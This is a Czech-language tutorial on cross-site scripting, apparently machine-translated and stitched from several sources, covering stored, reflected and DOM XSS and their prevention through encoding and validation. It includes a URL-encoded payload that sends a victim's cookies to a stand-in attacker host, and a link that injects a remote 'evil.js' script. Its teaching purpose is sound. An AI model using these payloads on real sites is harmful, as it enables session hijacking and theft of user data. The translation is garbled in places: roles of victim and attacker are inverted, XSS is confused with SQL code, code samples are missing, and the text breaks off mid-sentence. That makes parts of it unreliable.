Zkušení útočníci pomocí XSS integrují skripty, které na nich běží, do stránek obětí, které se spouštějí v době návštěvy infikovaných zdrojů. Existuje několik typů zranitelností XSS, které představují různé stupně závažnosti.
Vlastnosti pasivní a aktivní zranitelnosti
Nejopatrnější byste měli být s aktivními zranitelnostmi. Když útočník vloží svůj SQL kód do přístupné databáze nebo souboru na serveru, každý návštěvník infikovaného zdroje se může stát obětí. Taková místa jsou často integrovaná, takže i data uložená v databázi zpracovávaná vaší ochranou mohou stále představovat určité nebezpečí.
Vytvoření pasivní zranitelnosti XSS vyžaduje od útočníka určitou vynalézavost. Buď se necháte nalákat na falešný zdroj s nejrůznějšími odkazy, nebo se vás pokusí jakýmkoli způsobem přesměrovat na požadovanou stránku. To se obvykle děje prostřednictvím dopisů od fiktivní administrace stránky, kterou navštěvujete, s žádostí o kontrolu nastavení vašeho účtu. Aktivně se využívá i řada spamových e-mailů nebo příspěvků na hojně navštěvovaných fórech.
Pasivní zranitelnost XSS může pocházet z parametrů POST i GET. Ty první se vyznačují řadou různých triků, zatímco ty druhé jsou kódování řetězce url nebo vkládání dalších hodnot.
Kradení cookies
Nejčastěji jsou to vaše soubory cookie, které jsou cílem XSS útoku. Někdy obsahují cenné informace, včetně uživatelských přihlašovacích údajů a hesel nebo jejich hash. Ale krást aktivní relace stránek, které jsou pro vás důležité, je také docela nebezpečné, takže nezapomeňte kliknout na tlačítko "exit" i při návštěvě stránek z domácí počítač. Ačkoli většina prostředků k zabránění takovým akcím používá automatický limit trvání relace. Omezení domény XMLHttpRequest před takovými útoky nezachrání.
Údaje z vyplnitelných formulářů
Oblíbené je také čtení informací ve vyplnitelných formulářích. K tomu jsou události sledovány na zájmových stránkách (onsubmit) a veškerá poskytnutá data jsou také odesílána na servery útočníků. Takové útoky se v mnohém podobají phishingovým útokům, ale ke krádeži nedochází na falešném, ale na skutečném webu s dobrou pověstí.
Distribuované DDoS útoky
Pro XSS útoky se také používají zdroje s více návštěvami. Díky XSS zranitelnosti jsou příchozí požadavky přesměrovány na hacknutý server, v důsledku čehož jeho ochrana neobstojí.
Falešné požadavky napříč weby (CSRF/XSRF)
S XSS mají také málo společného. Jedná se o samostatný typ zranitelnosti používaný ve spojení s XSS. Jejich cílem je nalákat oprávněného uživatele z nezranitelného webu na falešnou stránku zranitelnou kvůli podvodným operacím. Například klient využívající elektronický platební systém je nalákán na zranitelnou stránku, která převádí peníze na účty narušitelů. Většina platebních systémů proto poskytuje ochranu dodatečným zadáním hesla nebo kódu potvrzujícího operaci.
Injekce červů XSS
Takový útok XSS na stránky se objevil s rozvojem známých sociálních sítí (Vkontakte, Twitter a další). Jejich prostřednictvím dostávají celé skupiny uživatelů zranitelné XSS odkazy s integrovanými skripty, které jejich jménem rozesílají spam po sítích. Je také široce praktikováno kopírování osobních informací a fotografií o zdrojích vetřelců na cestě.
Příklady neškodných XSS
Všimněte si, že mnoho typů čítačů také funguje jako aktivní XSS. Z nich se přenášejí údaje o registrovaných návštěvnících (jejich IP adresy, údaje o používaném zařízení).
Pouze tento kód je integrován do vašeho počítače podle vaší vlastní vůle. Další podobné XSS lze bezpečně připsat řadě požadavků AJAX mezi doménami.
Cross Site Scripting nebo XSS. Cross-site scripting (cross-site scripting).
Přítomnost chyby zabezpečení Cross-site Scripting umožňuje útočníkovi odeslat spustitelný kód na server, který bude přesměrován do prohlížeče uživatele. Tento kód je obvykle napsán v jazycích HTML/JavaScript, ale lze použít VBScript, ActiveX, Java, Flash nebo jiné technologie podporované prohlížečem.
Předaný kód je spuštěn v kontextu zabezpečení (nebo zóně zabezpečení) dotčeného serveru. Pomocí těchto oprávnění je kód schopen číst, upravovat nebo přenášet citlivá data, která jsou přístupná prostřednictvím prohlížeče. Účet napadeného uživatele může být kompromitován (krádež cookies), jeho prohlížeč může být přesměrován na jiný server nebo může být obsah serveru podvržen. V důsledku pečlivě naplánovaného útoku může útočník použít prohlížeč oběti k zobrazení stránek webu jménem napadeného uživatele. Kód může útočník předat v URL , v hlavičkách Metody a struktura protokolu HTTP požadavku (Cookie , user-agent, refferer), hodnoty polí formuláře atd.
Existují tři typy útoků typu cross-site scripting: neperzistentní(odraženo), vytrvalý(uloženo) a založené na DOM. Hlavní rozdíl mezi perzistentním a neperzistentním je v tom, že v reflektované verzi se přenos kódu na server a jeho návrat klientovi provádí v rámci jednoho HTTP požadavek, a v uložených - v různých.
Implementace neperzistentního útoku vyžaduje, aby uživatel následoval odkaz vygenerovaný útočníkem (odkaz lze odeslat e-mailem, ICQ atd.). Během načítání stránek bude kód vložený do URL nebo záhlaví požadavku předán klientovi a spuštěn v jeho prohlížeči.
Uložená verze chyby zabezpečení nastane, když je kód přenesen na server a uložen na něm po určitou dobu. Nejoblíbenějším cílem útoků jsou v tomto případě fóra, pošta s webové rozhraní a chaty. Pro útok uživatel nemusí následovat odkaz, stačí navštívit zranitelnou stránku.
Příklad. Uložená (trvalá) verze útoku. Mnoho webů má nástěnky a fóra, která uživatelům umožňují přispívat. Registrovaný uživatel je obvykle identifikován číslem
relace uložená v cookie. Pokud útočník zanechá zprávu obsahující kód JavaScript, získá přístup k ID relace uživatele. Příklad kódu pro předávání cookies:
Příklad. Odražená (netrvalá) verze útoku. Mnoho serverů poskytuje uživatelům možnost prohledávat obsah serveru. Obvykle je požadavek předán v adrese URL a obsažen na výsledné stránce.
Například při přístupu na adresu URL http://portal.example/search?q= „čerstvé pivo“ se uživateli zobrazí stránka obsahující výsledky vyhledávání a frázi: „Na váš dotaz čerstvé pivo nebylo nalezeno 0 stránek“ . Pokud je jako vyhledávací fráze předán Javascript, bude spuštěn v prohlížeči uživatele. Příklad:
http://portal.example/search/?q=
Kódování URLEncode lze použít ke skrytí kódu skriptu
http://portal.example/index.php?sessionid=12312312& uživatelské jméno=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E
Flanagan David JavaScript
Výňatek z Flanagan David JavaScript Kompletní průvodce 5 vydání.
Termín cross-site scripting neboli XSS označuje oblast zranitelnosti počítače, když útočník vloží HTML tagy nebo skripty do dokumentů na zranitelném webu. Ochrana proti XSS útokům je běžná pro vývojáře webu na straně serveru. Programátoři však Vývojáři skriptů JavaScript na straně klienta by si také měli být vědomi útoků XSS a podniknout kroky k ochraně proti nim.
Webová stránka je považována za zranitelnou vůči útokům XSS, pokud dynamicky vytváří obsah dokumentu na základě vstupu uživatele, který neprošel předzpracování k odstranění vloženého HTML kódu. Jako triviální příklad zvažte následující webovou stránku, která používá skript JavaScript k pozdravu uživatele jménem:
Druhý řádek skriptu volá metodu window.location.search.substring, která získá část řetězce adresy začínající znakem ?. Poté je pomocí metody document.write() přidán dynamicky generovaný obsah dokumentu. Tento scénář předpokládá, že webová stránka bude přístupná pomocí něčeho takového URL adresa:
http://www.example.com/pozdrav.html?jmeno=David
V tomto případě se zobrazí text „Ahoj Davide“. Co se však stane, pokud je stránka požadována pomocí následující adresy URL:
http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E
S tímto obsahem URL bude skript dynamicky generovat další skript (kódy %3C a %3E jsou lomené závorky)! PROTI tento případ vložený skript pouze zobrazí dialogové okno, což není nebezpečné. Ale představte si tento případ:
http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E
Skriptování mezi stránkami se tak nazývá, protože do útoku je zapojeno více než jeden web. Web B (nebo dokonce web C) obsahuje speciálně vytvořený odkaz (podobný tomu, který byl právě zobrazen) na web A, který obsahuje skript z webu B. Skript evil.js je hostován na webu B útočníka, ale nyní skript se vloží do webu A a může si s obsahem webu A dělat, co chce. Může vymazat stránku nebo způsobit jiné narušení webu (jako je odmítnutí služby, o čemž pojednává další sekce). To by mohlo nepříznivě ovlivnit návštěvníky webu A. Mnohem nebezpečnější je, že by takový škodlivý skript mohl číst obsah souborů cookie uložených na webu A (případně obsahující čísla účtů nebo jiné osobní informace) a odešlete tato data zpět na stránku B. Vložený skript může dokonce sledovat stisknuté klávesy a odeslat tato data na stránku B.
Univerzální způsob, jak zabránit útokům XSS, je odstranit HTML tagy ze všech dat pochybné provenience, než je použijete k dynamickému generování obsahu dokumentu. Chcete-li tento problém vyřešit v dříve zobrazeném souboru greet.html, musíte přidat další řádek do skriptu, který je navržen tak, aby odstranil lomené závorky obklopující značku" . Každý uživatel, který navštíví stránku, nyní obdrží následující odpověď:
Poslední komentář:
Když prohlížeč uživatele načte stránku, spustí vše, včetně JavaScriptu obsaženého ve značkách. . To znamená, že pouhá přítomnost skriptu vloženého útočníkem je problém, bez ohledu na to, jaký konkrétní kód skriptu se skutečně spouští.
Část druhá: XSS Attack
Účastníci útoku XSS
Než si podrobně popíšeme, jak XSS útok funguje, musíme definovat aktéry, kteří se na XSS útoku podílejí. Obecně platí, že v útoku XSS jsou tři aktéři: Webová stránka, oběť, a sušenka.
- Webová stránka vykresluje HTML stránky pro uživatele, kteří si je vyžádají. V našich příkladech se nachází na adrese http://website/ .
- Databáze webových stránek je databáze, která ukládá některá data zadaná uživateli na stránky webu.
- Oběť je běžný uživatel webové stránky, který z ní požaduje stránky pomocí svého prohlížeče.
- Útočící je útočník, který má v úmyslu zahájit útok na oběť zneužitím zranitelnosti XSS na webu.
- Crack Server je webový server pod kontrolou útočníka, jehož jediným účelem je ukrást důvěrné informace oběti. V našich příkladech se nachází na adrese http://attacker/ .
Příklad skriptu útoku
Tento skript vytvoří požadavek HTTP na jinou adresu URL, která přesměruje prohlížeč uživatele na server útočníka. Adresa URL obsahuje cookie oběti jako parametr požadavku, když požadavek HTTP dorazí na server útočníka, útočník může tyto soubory cookie z požadavku extrahovat. Jakmile útočník získá soubory cookie, může je použít k předstírání identity oběti a následnému útoku.
Od této chvíle se bude volat výše uvedený HTML kód škodlivý řetězec nebo škodlivý skript. Je důležité pochopit, že samotný řetězec je škodlivý pouze v případě, že je nakonec vykreslen jako HTML v prohlížeči oběti, k čemuž může dojít pouze v případě, že web obsahuje zranitelnost XSS.
Jak tento příklad útoku funguje
Níže uvedený diagram ukazuje příklad útoku útočníka:
- Útočník použije jeden z formulářů webu k vložení škodlivého řetězce do databáze webu.
- Oběť požaduje stránku z webové stránky.
- Stránka zahrne do odpovědi škodlivý řetězec z databáze a odešle ji oběti.
- Prohlížeč oběti spustí v rámci odpovědi škodlivý skript a odešle cookie oběti na server útočníka.
Typy XSS
Cílem XSS útoku je vždy provést škodlivý JavaScript skript v prohlížeči oběti. Existuje několik zásadně odlišných způsobů, jak tohoto cíle dosáhnout. XSS útoky jsou často rozděleny do tří typů:
- Uložené (trvalé) XSS, kde škodlivý řetězec pochází z databáze webové stránky.
- Odražené (netrvalé) XSS, kde je škodlivý řetězec generován z požadavku oběti.
- Modely XSS DOM, kde se chyba zabezpečení vyskytuje v kódu na straně klienta, nikoli v kódu na straně serveru.
Předchozí příklad ukazuje uložený XSS útok. Nyní popíšeme dva další typy XSS útoků: odražené XSS a DOM XSS útoky.
Odražené XSS
V odraženém XSS útoku je škodlivý řetězec součástí požadavku oběti na web. Web přijme a vloží tento škodlivý řetězec do odpovědi, kterou odešle zpět uživateli. Níže uvedený diagram ilustruje tento scénář:
- Oběť přiměje útočníka k odeslání požadavku URL na webovou stránku.
- Stránka obsahuje škodlivý řetězec z požadavku URL v reakci na oběť.
- Prohlížeč oběti spustí škodlivý skript obsažený v odpovědi a odešle cookie oběti na server útočníka.
Jak úspěšně provést odražený XSS útok?
Odražený útok XSS se může zdát neškodný, protože vyžaduje, aby oběť odeslala žádost obsahující škodlivý řetězec jejím jménem. Vzhledem k tomu, že na sebe nikdo dobrovolně nezaútočí, zdá se, že neexistuje způsob, jak útok skutečně provést.
Jak se ukazuje, existují nejméně dva běžné způsoby, jak přimět oběť, aby proti sobě zahájila odražený XSS útok:
- Pokud je uživatelem konkrétní osoba, může útočník poslat oběti škodlivou adresu URL (například prostřednictvím e-mailu nebo messengeru) a oklamat ji, aby otevřela odkaz k návštěvě webové stránky.
- Je-li cílem velká skupina uživatelů, může útočník umístit odkaz na škodlivou URL (například na vlastní webové stránky resp. sociální síť) a počkejte na návštěvníky, kteří následují odkaz.
Obě tyto metody jsou podobné a obě mohou být úspěšnější se službami zkracujícími URL, které maskují škodlivý řetězec před uživateli, kteří by jej mohli identifikovat.
XSS v DOM
XSS v DOM je variantou jak uloženého, tak odraženého XSS útoku. V tomto XSS útoku není škodlivý řetězec zpracován prohlížečem oběti, dokud není spuštěn skutečný JavaScript webové stránky. Níže uvedený diagram znázorňuje tento scénář odraženého XSS útoku:
- Útočník vytvoří adresu URL obsahující škodlivý řetězec a odešle ji oběti.
- Oběť přiměje útočníka k odeslání požadavku URL na webovou stránku.
- Web přijme požadavek, ale do odpovědi nezahrne škodlivý řetězec.
- Prohlížeč oběti spustí legitimní skript obsažený v odpovědi a způsobí vložení škodlivého skriptu na stránku.
- Prohlížeč oběti spustí škodlivý skript vložený na stránku a odešle cookie oběti na server útočníka.
Jaký je rozdíl mezi XSS v modelu DOM?
V předchozích příkladech uložených a odražených útoků XSS server vloží na stránku škodlivý skript, který je následně odeslán jako odpověď oběti. Když prohlížeč oběti obdrží odpověď, předpokládá, že škodlivý skript je součástí legitimního obsahu stránky, a automaticky jej spustí během načítání stránky, stejně jako jakýkoli jiný skript.
V příkladu útoku DOM XSS není škodlivý skript vložen jako součást stránky; jediný skript, který se automaticky spustí během načítání stránky, je legitimní část stránky. Problém je v tom, že tento legitimní skript přímo používá vstup uživatele k přidání HTML na stránku. Protože je škodlivý řetězec vložen do stránky pomocí innerHTML , je analyzován jako HTML, což způsobí spuštění škodlivého skriptu.
Tento rozdíl je malý, ale velmi důležitý:
- V tradičním XSS je škodlivý JavaScript spuštěn při načtení stránky jako součást HTML odeslaného serverem.
- V případě XSS v DOM se po načtení stránky spustí škodlivý JavaScript, což má za následek, že stránka s legitimním JavaScriptem přistupuje k uživatelskému vstupu (obsahujícímu škodlivý řetězec) nezabezpečeným způsobem.
Jak funguje XSS v DOM?
V předchozím příkladu není potřeba JavaScript; server může generovat veškerý HTML sám. Pokud by kód na straně serveru neobsahoval chyby zabezpečení, web by nebyl zranitelností XSS ovlivněn.
Jak se však webové aplikace stávají vyspělejšími, stále více stránek HTML je generováno pomocí JavaScriptu na straně klienta, nikoli na straně serveru. Obsah by se měl kdykoli změnit bez obnovení celé stránky, to je možné pomocí JavaScriptu. Zejména se jedná o případ, kdy je stránka obnovena po požadavku AJAX.
To znamená, že zranitelnosti XSS mohou být přítomny nejen na straně serveru kódu vašeho webu, ale také na straně klienta kódu JavaScript vašeho webu. Proto i při zcela zabezpečeném kódu na straně serveru nemusí klientský kód při aktualizaci modelu DOM po načtení stránky bezpečně obsahovat uživatelský vstup. Pokud k tomu dojde, kód na straně klienta umožní útok XSS bez zavinění kódu na straně serveru.
XSS založené na DOM nemusí být pro server viditelné
Existuje zvláštní případ XSS útoku v DOM, ve kterém není škodlivý řetězec nikdy odeslán na webový server: k tomu dochází, když je škodlivý řetězec obsažen ve fragmentu identifikátoru URL (cokoli za symbolem #). Prohlížeče neodesílají tuto část adresy URL na server, takže k ní web nemůže přistupovat pomocí kódu na straně serveru. Kód na straně klienta k němu však má přístup, a proto je možný útok XSS prostřednictvím nezabezpečeného zpracování.
Tento případ není omezen na ID fragmentu. Existuje další uživatelský vstup, který je pro server neviditelný, jako jsou nové funkce HTML5, jako je LocalStorage a IndexedDB.
Část třetí:
Prevence XSS
Metody prevence XSS
Připomeňme, že XSS je útok vložení kódu: vstup uživatele je mylně interpretován jako škodlivý kód. Aby se zabránilo tomuto typu vkládání kódu, je vyžadována bezpečná manipulace se vstupy. Pro webového vývojáře existují dvě základní různé cesty provádět bezpečné zpracování vstupu:
- Kódování je metoda, která umožňuje zpracovávat uživatelský vstup pouze jako data a neumožňuje prohlížeči zpracovávat jej jako kód.
- Validace je způsob, jak filtrovat vstup uživatele tak, aby jej prohlížeč interpretoval jako kód bez škodlivých příkazů.
I když je to zásadní různé metody při prevenci XSS sdílejí několik společných věcí, kterým je důležité rozumět při používání některého z nich:
Kontextová bezpečná manipulace se vstupem by se měla provádět odlišně v závislosti na tom, kde na stránce je uživatelský vstup použit. příchozí/odchozí Bezpečné zpracování vstupu lze provést buď tehdy, když váš web obdrží vstup ( příchozí provoz) nebo těsně před tím, než web vloží uživatelský vstup do obsahu stránky (odchozí). Zpracování zabezpečeného vstupu klient/server lze provádět buď na straně klienta, nebo na straně serveru, přičemž každá možnost je potřeba za jiných okolností.
Než podrobně vysvětlíme, jak funguje kódování a ověřování, popíšeme každý z těchto bodů.
Zpracování uživatelského vstupu v kontextech
Na webové stránce je mnoho kontextů, kde lze použít vstup uživatele. Pro každý z nich je třeba dodržovat zvláštní pravidla, aby se uživatelský vstup nemohl „vytrhnout“ z jeho kontextu a nemohl být interpretován jako škodlivý kód. Nejběžnější kontexty jsou následující:
Jaký je význam kontextů?
Ve všech popsaných kontextech může dojít k chybě zabezpečení XSS, pokud byl uživatelský vstup vložen před prvním kódováním nebo ověřením. Útočník může vložit škodlivý kód jednoduše vložením uzavíracího oddělovače pro tento kontext, za kterým následuje škodlivý kód.
Pokud například webová stránka v určitém okamžiku obsahuje uživatelský vstup přímo v atributu HTML, útočník by mohl vložit škodlivý skript zahájením svého vstupu uvozovkou, jak je znázorněno níže:
Tomu se dalo předejít jednoduchým odstraněním všech uvozovek v uživatelském vstupu a vše by bylo v pořádku, ale pouze v tomto kontextu. Pokud byl vstup vložen v jiném kontextu, uzavírací oddělovač bude jiný a bude možné vkládání. Z tohoto důvodu musí být bezpečné zacházení se vstupy vždy přizpůsobeno kontextu, do kterého bude uživatelský vstup vložen.
Obsluha příchozích/odchozích uživatelských vstupů
Instinktivně by se zdálo, že XSS lze zabránit zakódováním nebo ověřením všech uživatelských vstupů, jakmile je naše stránka obdrží. Tímto způsobem budou jakékoli škodlivé řetězce již neutralizovány, kdykoli budou zahrnuty na stránce, a skripty pro generování HTML se nebudou muset starat o bezpečné zpracování uživatelského vstupu.
Problém je v tom, že jak bylo popsáno dříve, vstup uživatele lze vložit do více kontextů na stránce. A neexistuje snadný způsob, jak určit, kdy vstup uživatele vstoupí do kontextu – jak bude nakonec vložen, a stejný vstup uživatele je často potřeba vložit do různých kontextů. Tím, že se spoléháme na zpracování příchozích vstupů, abychom zabránili XSS, vytváříme velmi křehké řešení, které bude náchylné k chybám. (Příkladem takového řešení jsou zastaralé PHP "magické uvozovky".)
Místo toho by zpracování odchozích vstupů mělo být vaší hlavní obrannou linií proti XSS, protože může vzít v úvahu konkrétní kontext toho, jaký uživatelský vstup bude vložen. Do jisté míry lze příchozí ověření použít k přidání sekundární vrstvy ochrany, ale o tom později.
Kde je možné bezpečně manipulovat s uživatelskými vstupy
Ve většině moderních webových aplikací je vstup uživatele zpracováván jak na straně serveru, tak na straně klienta. Aby bylo možné chránit před všemi typy XSS, musí být zabezpečená manipulace se vstupy provedena jak v kódu na straně serveru, tak v kódu na straně klienta.
- Za účelem ochrany proti tradičnímu XSS musí být zabezpečená manipulace se vstupy provedena v kódu na straně serveru. To se provádí pomocí některého jazyka podporovaného serverem.
- Za účelem ochrany před útokem XSS v DOM, kde server nikdy neobdrží škodlivý řetězec (například dříve popsaný útok fragmentem identifikátoru), musí být zabezpečená manipulace se vstupy provedena v kódu na straně klienta. To se provádí pomocí JavaScriptu.
Nyní, když jsme vysvětlili, proč na kontextu záleží, proč je důležité rozlišovat mezi zpracováním příchozích a odchozích vstupů a proč musí být zabezpečené zpracování vstupů prováděno na obou stranách, jak na straně klienta, tak na straně serveru, můžeme pokračovat ve vysvětlování, jak se ve skutečnosti provádějí dva typy zpracování zabezpečeného vstupu (kódování a ověřování).
Kódování
Kódování je východiskem ze situace, kdy je nutné, aby prohlížeč interpretoval uživatelský vstup pouze jako data, nikoli kód. Nejoblíbenějším typem kódování při vývoji webu je HTML escapement, který převádí znaky jako např < a > proti < a > resp.
Následující pseudokód je příkladem toho, jak lze kódovat uživatelský vstup (uživatelský vstup). pomocí HTML maskování a poté vložen do stránky pomocí skriptu na straně serveru:
tisk" "
tisk "Poslední komentář:"
tisknout kódovatHtml(userInput)
tisk""
Pokud uživatel zadá následující řádek, výsledný HTML bude vypadat takto:
Poslední komentář:
Protože všechny znaky se speciálním významem byly escapovány, prohlížeč nebude analyzovat žádnou část uživatelského vstupu, jako je HTML.
Kódování na straně klienta a serveru
Při kódování na straně klienta vždy použijte jazyk JavaScript, který má vestavěné funkce, které kódují data pro různé kontexty.
Při kódování v kódu na straně serveru se spoléháte na funkce dostupné ve vašem jazyce nebo frameworku. Kvůli velký počet dané jazyky a dostupné rámce tutorial nezahrnuje podrobnosti o kódování v žádném konkrétním jazyce serveru nebo rámci. Funkce kódování JavaScriptu používané na straně klienta se však používají také při psaní kódu na straně serveru.
Kódování na straně klienta
Při kódování vstupu uživatele na straně klienta pomocí JavaScriptu existuje několik vestavěných metod a vlastností, které automaticky kódují všechna data v kontextově citlivém stylu:
Poslední výše zmíněný kontext (hodnoty v JavaScriptu) není v tomto seznamu zahrnut, protože JavaScript neposkytuje vestavěný způsob kódování dat, která budou zahrnuta do zdrojového kódu JavaScriptu.
Omezení kódování
I při kódování je možné v některých kontextech použít škodlivé řetězce. Ukázkovým příkladem toho je, když je uživatelský vstup použit k poskytnutí adresy URL, jako v příkladu níže:
document.querySelector("a").href = userInput
Přestože zadaná hodnota ve vlastnosti href prvku ji automaticky zakóduje tak, že se z ní nestane nic víc než hodnota atributu, to samo o sobě nebrání útočníkovi vložit adresu URL začínající „javascript:“. Po kliknutí na odkaz se bez ohledu na konstrukci spustí vložený JavaScript v adrese URL.
Kódování také není efektivní řešení, když chcete, aby uživatelé mohli používat část HTML kódů na stránce. Příkladem může být stránka uživatelského profilu, kde může uživatel používat vlastní HTML. Pokud je tento prostý HTML kódován, může se stránka profilu skládat pouze z prostého textu.
V situacích, jako je tato, musí být kódování doplněno validací, na kterou se podíváme příště.
Validace
Ověření je akt filtrování uživatelského vstupu tak, aby byly odstraněny všechny jeho škodlivé části, aniž by bylo nutné odstranit veškerý kód v něm. Jeden z nejpoužívanějších typů validace při vývoji webu umožňuje používat některé HTML prvky (např. a ), ale zakazuje ostatním (např.